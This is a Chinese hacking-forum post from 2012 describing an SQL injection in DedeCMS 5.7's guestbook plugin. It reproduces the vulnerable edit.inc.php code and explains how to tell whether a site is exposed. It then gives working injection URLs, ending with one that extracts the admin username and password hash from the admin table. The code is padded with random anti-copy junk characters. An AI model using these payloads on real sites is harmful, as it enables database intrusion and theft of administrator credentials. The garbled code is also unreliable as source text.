找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3756|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
% E1 `( K% y9 |# @5 c7 @' F1 x' |( C
漏洞文件edit.inc.php具体代码:
$ }! U# c" U- \. C7 j) d
7 A/ [$ R) f6 K1 {. G< ?php  
' D/ [( d& s* u* S: B
9 H  C+ B. X: I- f( c  A/ B* Y$ Tif(!defined('DEDEINC')) exit('Request Error!');  4 B. W$ i# G/ _3 V
1 d# S# V8 f& v% K+ {
   " u% o3 A" z; ]* L% A
$ C$ d  t$ l4 @7 n. k
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
* Y* [7 V! J% f) k6 `9 {; p' h6 k2 h: n, o7 ]$ @6 ]
else $GUEST_BOOK_POS = "guestbook.php";  + }' X' K0 J1 _# T7 z
8 n4 r" K- Z  D) @
   4 F  n0 h( O( N! z$ W2 H7 z

7 J1 g3 W7 B/ e. J5 t1 I5 C$id = intval($id);  2 i! H! x. Z+ a0 C: l
9 j# j' t+ o% {2 V0 i' m) w* a
if(empty($job)) $job='view';  
- C! n3 F1 a! a% ~
5 k* J9 N- h" d   4 w  O+ v% o2 u. [, N; {7 k' y8 D

: k( A) l7 S# `9 Gif($job=='del' && $g_isadmin)  5 M% b  n% I( J3 O1 a3 \- L

7 v' s# ]2 V: a! N* V  ?{  1 p+ i, J8 N) y4 \
3 q# E' h1 D# T: z5 T5 N
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
& q5 b' a# e! `7 p0 x- A) I2 w8 E% e
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
: U0 D* @/ Z& Y0 h( ~7 V
0 S" Y1 F/ d) ^/ @/ Eexit();  ' q( u, p. e, I( w6 T

3 h9 w7 g6 L! N- N" L" E0 A, T}  
9 v; ^3 l5 L2 l# X3 _$ S" |# Z/ n
: E, ~' B0 _( n: i7 \+ e1 u/ F- Yelse if($job=='check' && $g_isadmin)  
2 B) e' {  Y5 S2 R! c" `  ~* N8 j4 S1 @) u) q5 S. i
{  
: ~: ^* Y& C0 ?) F8 r& ^5 \( Z0 q. h% \/ O* T, g
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  ! [+ m/ W' U- y( h: X
1 N- P' m6 t* S1 o$ R
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  " T& A3 I: a! p( u5 R# S- x9 x

4 I3 i; [! M) ~- zexit();  
" F. F6 T: P% J; q/ A- e4 P
! N5 D- K# X6 q3 b, Z8 E# A}  
, M. P! f1 w# t7 y- b/ l" @/ U% |/ g
else if($job=='editok')  6 i8 @8 V; Q. @+ V% K( h% Q" v/ i/ f
# z! P' [9 B5 H; s6 n
{  
% U; Q0 B2 V# h8 F" i( o7 }' |
7 N0 p5 s$ K/ K5 N2 i+ k$remsg = trim($remsg);  * n! T# D! D! E( S' k

; U/ X, f: G* Z! g9 Xif($remsg!='')  
6 Y2 v4 |4 k$ N) ?# }) M5 f2 ^5 w  c/ s( \& l
{  7 |3 Z# x1 C+ b3 O+ z: t
1 g1 m" @" D' e: ?! |% ]
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
, ?0 R' t) _/ l3 T. H
: D$ c3 i0 h& L1 ?( O. z0 Zif($g_isadmin)  ! i. A. z# p& z. s
4 u# W8 O9 T1 N: c9 }
{  
3 K; Y8 a" Q. O; a( `
3 ?& Z! ^& G4 `; ]/ ]0 T% s$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  , d: ]- `+ X* h+ U# l

) [" h. P7 V6 `1 n//$remsg <br /><font color=red>管理员回复:</font> }  6 R' E0 q* g' a0 G3 _
8 n" v9 L9 s1 Y9 ^; @! ?
else + `4 U) ?  U% ]+ f6 c

% n2 q2 G( F! M: y; _; l# z{  % `6 Z% _1 z- T) F* K3 t+ i

! q" b+ G$ V- Y+ Y! ]- [/ a$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
5 t% w) Z0 \; k; H) J. V3 l
% ]9 z0 b( k% W# B+ I0 G* ]$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  ) |2 ^  }- l, Y3 j" Z

" j2 b; z5 R' Z4 E# M5 U3 x$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
/ O. _, K" u! v( X7 I. H" j. [- B+ E7 a
$msg = $oldmsg.$remsg;  ! n3 g+ J2 A) R+ |) u. k
! Q0 L9 t# C; g2 M! Z
}  
0 E! W/ n- @2 A. |) m. j
  v# \' }) m9 |5 R9 G: D& F}  4 w- u9 W9 l: M/ s+ F& t" o; a

5 a- ^2 }* O! C6 P5 p//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  ; L9 |- I+ J# [2 ]. l
  ?: _9 H+ }0 s: B' H
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  & V: @: V* t! T' x# `( ?$ p: w- Q
* H6 [! l' g3 }5 |' w
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
  ~/ K" d/ |: E$ C$ j% A, Z0 s2 o& g: g8 B+ f, g
exit();  3 e5 G. r9 m# q3 V; B& Y

$ O! R) ~) o" A% Q! e( j}  0 m  B2 q5 i) f2 F1 F5 A
- V/ n; T2 K. X
//home:www.errs.cc    r6 Y+ m5 F; F) c- E  T

6 e+ ~4 ~3 W  h# F+ J3 ~% g9 {! x& wif($g_isadmin)  
2 a* Y. S( l0 q, f: G2 L1 d
8 j1 e8 J- x5 L9 T' A; M( E{  
- z& R6 L1 m5 u9 ~; r* i9 E# G* L& k0 O( d$ x( J
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
) ?# t: h: M4 a0 A' V% g" ]  N/ x9 {6 A/ @  U+ X7 N6 y0 o
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  & u& Q6 V3 q5 }: b- h# z

" S5 i0 J3 L1 V9 b, J}  ! e# R, b/ A' s  d4 A
% s6 Q, x, n  h7 c+ |- Z! h3 I
else
$ l$ B) k2 N  r( J. p) R# [8 h, c" ^' M" E" \( h5 k
{  
7 Q) v& W% A( f3 y2 n% |" I4 N; O7 L' L
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
. b' q5 M$ o3 T) f  c" y- D7 b8 g( H1 C6 {
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');    e, S, u3 _. m* _9 c

4 S/ n: q$ ^6 [: r1 z4 h; S} 漏洞成功需要条件:
1 X  D/ i+ b. w& X/ J" @1. php magic_quotes_gpc=off
% Q$ ^! }. M" Y; J( o4 y2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。5 ~8 S- x  p' ~) N, B) o3 H

* W; V6 L3 i6 L  F怎么判断是否存在漏洞:; ~! v, g0 z5 P+ A1 Y" Y
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,6 ]- j7 S4 u5 q  r) l
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
) ^! m7 j0 j+ U3 M1 Q8 @访问:
8 s2 D0 h) _  m8 ?2 W6 O
7 m+ k) h" b8 m" Ywww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了2 J  D4 ^1 u8 {8 v+ T$ R
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证; V/ ]# ?3 N) b1 u! H3 }3 m
0 d$ ~% y1 w* T3 M7 a, X( O$ v1 m

$ X9 d' o5 t* D+ @明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
8 i; m2 V5 [+ p* m0 M9 Z1 E. ]如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。2 i3 \2 [6 O- y4 s* l
那么再次访问
% Z/ j( J) K2 ^' [7 u4 N% u7 \0 k" B! E: s/ C+ H& b0 s
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
' C* s& g+ w5 Z& D5 E3 p
, _9 o7 \/ H7 G1 u5 F' c& n大概利用就是这样,大家有兴趣的多研究下!!5 \, u9 x/ P" _. [2 J7 P

1 c/ ~8 k% U9 J: H* x( p7 h# q最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
" T! e9 ^" F! l" M; D3 u, {9 @
& i9 b% R/ g7 B6 m! a/ q5 pview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表